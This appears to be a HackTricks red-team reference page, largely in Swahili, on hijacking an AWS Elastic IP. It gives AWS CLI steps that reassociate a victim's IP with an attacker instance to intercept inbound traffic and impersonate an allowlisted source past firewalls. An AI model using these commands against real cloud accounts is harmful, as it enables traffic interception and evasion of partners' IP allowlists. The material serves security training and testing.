AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Muhtasari

Tumia vibaya ec2:AssociateAddress (na hiari ec2:DisassociateAddress) ili kuunganisha tena Elastic IP (EIP) kutoka kwa victim instance/ENI hadi attacker instance/ENI. Hii inaelekeza trafiki ya kuingia iliyokuwa ikielekezwa kwa EIP kwenda kwa attacker na pia inamruhusu attacker kuanzisha trafiki ya kutoka kwa nje ikitumia public IP iliyoorodheshwa (allowlisted) ili kupita firewalls za washirika wa nje.

Mahitaji

  • Target EIP allocation ID ndani ya account/VPC ileile.
  • Attacker instance/ENI unayodhibiti.
  • Ruhusa:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress on the EIP allocation-id and on the attacker instance/ENI
  • ec2:DisassociateAddress (hiari). Kumbuka: --allow-reassociation itafanya auto-disassociate kutoka kwa attachment ya awali.

Shambulio

Vigezo

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Tenga au tambua EIP ya mhusika (maabara inatenga mpya na kuiambatisha kwa mhusika)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Thibitisha kuwa EIP kwa sasa inaelekezwa kwa huduma ya mwanaathirika (mfano: angalia banner)
bash
curl -sS http://$EIP | grep -i victim
  1. Tambatanisha tena EIP kwa mshambulizi (inaondoa uhusiano na mwathiriwa moja kwa moja)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Thibitisha kuwa EIP sasa inaelekeza kwa huduma ya mshambuliaji
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

Ushahidi (uhusiano ulihamishwa):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Athari

  • Inbound impersonation: Trafiki yote kwenda EIP iliyotekwa inapelekwa kwenye instance/ENI ya mshambuliaji.
  • Outbound impersonation: Mshambuliaji anaweza kuanzisha trafiki inayoonekana kutokea kutoka kwa allowlisted public IP (inayofaa kuvuka vichujio vya IP vya washirika/vyanzo vya nje).

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks